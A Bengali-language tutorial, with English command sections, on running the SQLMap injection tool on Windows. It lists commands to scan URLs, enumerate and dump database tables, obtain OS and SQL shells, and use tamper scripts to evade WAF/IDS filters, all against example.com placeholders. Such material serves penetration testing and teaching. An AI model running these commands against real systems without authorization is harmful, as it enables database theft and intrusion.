SQLMap ব্যবহার করে, নিরাপত্তা পেশাদাররা ওয়েব অ্যাপ্লিকেশনগুলিতে SQL ইনজেকশন ভালনারেবিলিটিগুলি দ্রুত এবং সহজেই সনাক্ত করতে পারে। এই তথ্যটি ডেটা লিক এবং অন্যান্য নিরাপত্তা ঝুঁকি থেকে ওয়েব অ্যাপ্লিকেশনগুলিকে রক্ষা করতে ব্যবহার করা যেতে পারে।
SQLMap ব্ল্যাক-বক্স এবং ওয়াইট-বক্স পেন-টেস্টিং উভয়ের জন্য ব্যবহার করা যেতে পারে। ব্ল্যাক-বক্স টেস্টিং এর ক্ষেত্রে, SQLMap অ্যাপ্লিকেশন সম্পর্কে কোন পূর্ব জ্ঞান ছাড়াই স্ক্যান করতে ব্যবহার করা যেতে পারে। ওয়াইট-বক্স টেস্টিং এর ক্ষেত্রে, SQLMap অ্যাপ্লিকেশনের ডেটাবেস স্কিমা সম্পর্কে তথ্য সরবরাহ করতে ব্যবহার করা যেতে পারে, যা আরও নির্ভুল এবং কার্যকর স্ক্যানিং সক্ষম করে।
SQLMap ব্যবহার করা সহজ এবং বিভিন্ন বিকল্প এবং বৈশিষ্ট্য প্রদান করে যা নিরাপত্তা পেশাদারদের তাদের চাহিদা অনুসারে এটিকে কাস্টমাইজ করতে দেয়।
উইন্ডোজে SQLMap ব্যবহার করা:
উইন্ডোজে SQLMap ব্যবহার করতে, আপনাকে প্রথমে এটি ডাউনলোড এবং ইনস্টল করতে হবে। আপনি SQLMap GitHub রিপোজিটরি থেকে https://github.com/sqlmapproject/sqlmap/releases এ যিয়ে SQLMap ডাউনলোড করতে পারেন।
SQLMap ইনস্টল করার পরে, আপনি কমান্ড লাইন থেকে এটি ব্যবহার করতে পারেন। SQLMap ব্যবহার করার জন্য অনেকগুলি বিকল্প এবং বৈশিষ্ট্য রয়েছে, তাই আপনার শুরু করার আগে ডকুমেন্টেশন পড়া গুরুত্বপূর্ণ।
উইন্ডোজে SQLMap ব্যবহার করার জন্য এখানে একটি মৌলিক উদাহরণ দেওয়া হল:
Basic Usage:
- To scan a URL for SQL injection vulnerabilities:
python sqlmap -u "https://www.example.com/page.php?id=1"Replace “https://www.example.com/page.php?id=1” with the actual URL containing the vulnerable parameter (id in this case).
Specifying POST Data:
- If the vulnerable parameter is sent via POST instead of GET:
python sqlmap -u "https://www.example.com/login.php" --data="username=admin&password=pass" --method POSTAutomated Detection and Exploitation:
- SQLMap can automatically detect and exploit SQL injection vulnerabilities:
sqlmap -u "https://www.example.com/page.php?id=1" --dbs--dbs: List databases after injection.
Advanced Options:
SQLMap offers a wide range of options and switches to tailor your testing approach. For example:
- Detection:
--level: Set the level of tests to perform (1-5, default is 1).--risk: Set the risk of tests to perform (1-3, default is 1).
- Enumeration:
--dbs: Enumerate databases.--tables -D <database>: List tables in a specific database.--columns -T <table>: List columns in a specific table.--dump -T <table> -D <database>: Dump contents of a specific table.
- Exploitation:
--os-shell: Get an interactive operating system shell.--sql-shell: Get an interactive SQL shell.
Example Commands:
- Enumerate Databases:
python sqlmap -u "https://www.example.com/page.php?id=1" --dbsDump Tables from a Database:
sqlmap -u "https://www.example.com/page.php?id=1" -D dbname --tablesDump Columns from a Table:
sqlmap -u "https://www.example.com/page.php?id=1" -D dbname -T tablename --columnsDump Data from a Table:
sqlmap -u "https://www.example.com/page.php?id=1" -D dbname -T tablename --dumpAdditional Tips
- Output Options: Use
-vfor verbose output and-oto save results to a file. - Custom Headers: Use
--headersto specify custom HTTP headers. - Tampering: Use
--tamperto specify scripts for bypassing WAF/IDS filters.